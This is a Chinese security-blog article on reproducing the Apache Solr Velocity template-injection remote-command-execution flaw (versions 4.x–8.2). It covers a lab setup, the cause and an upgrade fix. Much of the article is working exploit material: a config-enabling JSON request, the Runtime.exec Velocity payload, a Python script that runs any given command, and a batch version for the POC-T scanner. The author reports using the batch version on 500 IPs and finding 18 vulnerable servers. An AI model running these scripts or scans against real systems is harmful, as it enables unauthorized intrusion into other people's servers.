专栏首页信安之路Apache Solr Velocity模版注入远程命令执行漏洞复现以及 POC 编写

Apache Solr Velocity模版注入远程命令执行漏洞复现以及 POC 编写

声明:本文仅供技术研究,测试请获得许可之后进行

19 年 10 月 31 日,安全研究员 S00pY 在 GitHub 发布了 ApacheSolr Velocity 模版注入远程命令执行的 POC,经过其他安全团队和人员的验证和复现,此漏洞已经能够被批量利用。

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

该漏洞的产生原因:Apache Solr 默认集成 VelocityResponseWriter 插件,在该插件的初始化参数中,params.resource.loader.enabled 这个选项是用来控制是否允许参数资源加载器在 Solr 请求参数中指定模版,默认设置是 false。

params.resource.loader.enabled 设置为 true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的 POST 请求,将 params.resource.loader.enabled 的值修改为 true,在服务器上进行命令执行,从而获取服务器的权限。如果在配上 solr 未授权访问漏洞,存在于外网的大部分 solr 服务器将不堪一击!

关于 params.resource.loader.enabled 的介绍:

https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html

影响范围:

solr 4.x~solr 8.2 版本

本地复现

通过清华大学镜像站下载个 7.7 版本的 solr

https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.7.2/

安装到 kail,因为在 kail 上可以不用再去配置 Java 环境。(使用 docker 也可以)

我直接解压到桌面然后启动起来,启动记得加上 -force ,不然会提示你存在安全风险。

cd solr-7.7.2/

./bin/solr start -force

可以看到 solr 服务已经启动起来,默认端口为 8983。接下来我们使用浏览器访问 solr,此时没做任何配置是存在 solr 未授权访问的,所以只在浏览器新建一个 core。(可能会遇到无法添加 core 问题,将 /solr-7.7.0/server/solr/configsets/_default 下的 conf 文件夹复制到 new_core 文件夹下即可。)

我这里已经添加成功了,现在就可以利用安全研究员 S00pY 所提供的的 POC 来验证即可。

这个 POC 的思路是向某个 core 的 config 文件 POST 发送一个 json 格式的数据包,将 params.resource.loader.enabled 设置为 ture(默认为 false)

当返回包为 200(某些低版本为 500)时,就说明我们修改的配置已经生效可以进行进一步测试。

{
 "update-queryresponsewriter": {
   "startup": "lazy",
   "name": "velocity",
   "class": "solr.VelocityResponseWriter",
    "template.base.dir":"",
   "solr.resource.loader.enabled": "true",
   "params.resource.loader.enabled": "true"
  }
}

此时,在查看 new_core 的 config 的 params.resource.loader.enabled 的值,已经为 ture

此时,利用给出的 poc 直接访问即可。

http://192.168.153.131:8983/solr/new_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
相关分析:

在现今的软件开发过程中,软件开发人员将更多的精力投入在了重复的相似劳动中。特别是在如今特别流行的 MVC 架构模式中,软件各个层次的功能更加独立,同时代码的相似度也更加高。所以我们需要寻找一种来减少软件开发人员重复劳动的方法,让程序员将更多的精力放在业务逻辑以及其他更加具有创造力的工作上。Velocity 这个模板引擎就可以在一定程度上解决这个问题。

Velocity 是一个基于 Java 的模板引擎框架,提供的模板语言可以使用在 Java 中定义的对象和变量上。Velocity 是 Apache 基金会的项目,开发的目标是分离 MVC 模式中的持久化层和业务层。但是在实际应用过程中,Velocity 不仅仅被用在了 MVC 的架构中,还可以被用在以下一些场景中。

1、Web 应用:开发者在不使用 JSP 的情况下,可以用 Velocity 让 HTML 具有动态内容的特性。

2、源代码生成:Velocity 可以被用来生成 Java 代码、SQL 或者 PostScript。有很多开源和商业开发的软件是使用 Velocity 来开发的。

3、自动 Email:很多软件的用户注册、密码提醒或者报表都是使用 Velocity 来自动生成的。使用 Velocity 可以在文本文件里面生成邮件内容,而不是在 Java 代码中拼接字符串。

4、转换 xml:Velocity 提供一个叫 Anakia 的 ant 任务,可以读取 XML 文件并让它能够被 Velocity 模板读取。一个比较普遍的应用是将 xdoc 文档转换成带样式的 HTML 文件。

它允许任何人仅仅使用简单的模板语言(template language)来引用由 java 代码定义的对象。Velocity 可以获取在 java 语言中定义的对象,从而实现界面和 java 代码的真正分离,这意味着可以使用 Velocity 替代 jsp 的开发模式了

当 Velocity 应用于 Web 开发时,界面设计人员可以和 java 程序开发人员同步开发一个遵循 MVC 架构的 web 站点,也就是说,页面设计人员可以只关注页面的显示效果,而由 java 程序开发人员关注业务逻辑编码。Velocity 将 java 代码从 web 页面中分离出来,这样为 web 站点的长期维护提供了便利,同时也为我们在 JSP 和 PHP 之外又提供了一种可选的方案。

针对这个漏洞,大概来说的话,因为 Velocity 模板语言可以使用在 Java 中定义的对象和变量上。这个 payload 的核心就是构造了一个自定义的 Velocity 模板,来通过 Java 的 Runtime.getRuntime().exec() 来执行命令

p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName('java.lang.String'))+%23set($ex=$rt.getRuntime().exec('id'))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"

对这个一些payload的参数进行解释。

1、参数 wt - 输出结果格式,通常为 json/xml 等格式,如果设置值为 velocity,则会通过 velocity 引擎解析(重点)

2、参数 v.template - 模版名称,payload 设置模版名称为 custom

3、参数 v.template.custom - 自定义模板 custom 的具体内容。也就是我们通过这个自定义的模板来执行命令。

现在相信大家对于这个 payload 就有比较清晰的理解了,无奈本人对于 Java 也只处于了解一点的程度。更加深层次的分析参考 seebug 和先知社区。

https://paper.seebug.org/1107/

https://xz.aliyun.com/t/6700

修补方法

升级到最新的 solr8.4 版本(强烈建议甲方的小伙伴检测公司是否存在相关漏洞,危害非常大,请自检

POC 编写

知道这个漏洞的实现原理后 POC 的编写就很简单了,利用 python2.7 编写。用到了 sys、request、json 模块。这里最后把输入的命令进行下 URL 编码。也就是 POC 中的 CMD。

# -*- coding: utf-8 -*-
import requests
import json
import sys
from urllib import quote_plus
def main(url, cmd):
# def main(url):
    core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'
    r = requests.get(url=core_selector_url)
    json_strs = json.loads(r.text)
    if r.status_code == 200 and "responseHeader" in r.text:
        list = []
        for core_selector in json_strs['status']:
            list.append(json_strs['status']['%s' % core_selector]['name'])
        jas502n_Core_Name = list[0]
    newurl = url + '/solr/' + jas502n_Core_Name + '/config'
    modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
                            "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36",
                            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
                            "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
                            "Content-Type": "application/json"}
    modifyConfig_json = {
        "update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
                                       "class": "solr.VelocityResponseWriter",
                                       "template.base.dir": "", "solr.resource.loader.enabled": "true",
                                       "params.resource.loader.enabled": "true"}}
    #data=json.dumps(payload)
    res = requests.post(newurl, headers=modifyConfig_headers,json=modifyConfig_json)
    cmd = quote_plus(cmd)
    if res.status_code == 200 or 500:
        try:
            p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x='')+%23set($rt=$x.class.forName('java.lang.Runtime'))+%23set($chr=$x.class.forName('java.lang.Character'))+%23set($str=$x.class.forName('java.lang.String'))+%23set($ex=$rt.getRuntime().exec('{}'))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end".format(
                cmd)
            target = url + '/solr/' + jas502n_Core_Name + p
            print u'命令执行url:'
            print target
            result = requests.get(url=target)
            if result.status_code == 200 and len(result.text) < 65:
                print u'命令执行结果:'
                print result.content
        except Exception as e:
            print
            'failed'
if __name__ == '__main__':
    print
    main(sys.argv[1], sys.argv[2])

POC 使用时直接加上 url 就行,但是 url 最后不要有斜杠。

批量验证

采用 Xyntax 大佬的渗透测试插件化并发框架 POC-T

https://github.com/Xyntax/POC-T

这个框架实现漏洞验证非常简便而对于 POC 的编写也很友好。

将我们的代码稍微改进一下。

# -*- coding: utf-8 -*-
import requests
import re
import sys
import json
def poc(url):
    if '://' not in url:
        url = 'http://' + url
    try:
        core_selector_url = url + '/solr/admin/cores?_=1565526689592&indexInfo=false&wt=json'
        r = requests.get(url=core_selector_url)
        json_strs = json.loads(r.text)
        if r.status_code == 200 and "responseHeader" in r.text:
            list = []
            for core_selector in json_strs['status']:
                list.append(json_strs['status']['%s' % core_selector]['name'])
            jas502n_Core_Name = list[0]
        debug_model_url = url + '/solr/' + jas502n_Core_Name + '/config'
        modifyConfig_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
                                "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3875.120 Safari/537.36",
                                "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3",
                                "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close",
                                "Content-Type": "application/json"}
        modifyConfig_json = {
            "update-queryresponsewriter": {"startup": "lazy", "name": "velocity",
                                               "class": "solr.VelocityResponseWriter",
                                               "template.base.dir": "", "solr.resource.loader.enabled": "true",
                                               "params.resource.loader.enabled": "true"}}
        r3 = requests.post(debug_model_url, headers=modifyConfig_headers,json=modifyConfig_json)
        if r3.status_code == 200 or 500:
                p = "/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
                target = url + '/solr/' + jas502n_Core_Name + p
                result = requests.get(url=target)
                if result.status_code == 200 and len(result.text) < 65:
                    return url
    except Exception :
        pass

然后将收集到的 url 进行批量验证

python2 POC-T.py -eT -t 50 -s solr_new_poc.py -iF C:\Users\Administrator\Desktop\txt\solrtest.txt

500 个 ip 找到了 18 个存在漏洞的 solr。

当然,因为 POC 我内置命令是 id,所以只会检测出架设在 Linux 上漏洞。如果架设在 Windows 上,可以把命令改成 dir 之类的 Windows 命令。或者直接为 whoami 就两种类型都能检测到,就是可能有时候会误报。

更对关于 POC-T 的使用请移步 GitHub(虽然作者很久没更新了哈哈哈,但是还是很好用的)

参考

https://www.freebuf.com/column/218801.html

https://cloud.tencent.com/developer/article/1532753

https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/

https://github.com/theLSA/solr-rce

https://github.com/Xyntax/POC-T

本文分享自微信公众号 - 信安之路(xazlsec),作者:Whitesun

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-01-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 近期关于代码审计的学习总结

    这一小段时间对一些 CMS 进行代码审计,和一些 CVE 分析复现。总结一下几个案例的问题产生原因和利用思路。由于能力有限,挖掘到的都并非高危漏洞,旨在总结一下...

    信安之路
  • 代码审计之 zzzphp

    想想很久都没有发布代码审计的文章了,最近忙于开发任务加上最近状态不太好,哎研发dog。

    信安之路
  • 轻松理解什么是 SQL 注入

    作为长期占据 OWASP Top 10 首位的注入,OWASP 对于注入的解释如下:

    信安之路
  • Python编程技巧:如何用Map, Filter, Reduce代替For循环?

    for 循环就像是一把瑞士军刀,它可以解决很多问题,但是,当你需要扫视代码,快速搞清楚代码所做的事情时,它们可能会让人不知所措。

    AI研习社
  • 【程序源代码】Oracle19c修改字符集操作

    昨天安装了个oracle19c,但在导入数据库时发现原来数据库的字符集设置错了,导致数据库文件无法正常导入并还原。今天又折腾了一半天查找如果修改oracle的字...

    程序源代码
  • Golang之接口(interface)

     //Golang中的接口,不需要显示的实现。只要一个变量,含有接口类型中的所有方法,那么这个变量就实现了这个接口。

    超蛋lhy
  • C++编程之美-代码清单1-5

    cwl_java
  • 设计模式(八)——轻松学习建造者模式

    小森啦啦啦
  • 分布式定时任务Elastic-Job框架在SpringBoot工程中的应用实践(二)

    文章摘要:在生产环境中部署Elastic-Job集群后,那么如何来运维监控线上跑着的定时任务呢? 如果在生产环境的大规模服务器集群上部署了集成Elastic-...

    用户2991389
  • 分布式定时任务Elastic-Job框架在SpringBoot工程中的应用实践(一)

    摘要:如何构建具备作业分片和弹性扩缩容的定时任务系统是每个大型业务系统在设计时需要考虑的重要问题? 对于构建一般的业务系统来说,使用Quartz或者Sprin...

    用户2991389

扫码关注云+社区

领取腾讯云代金券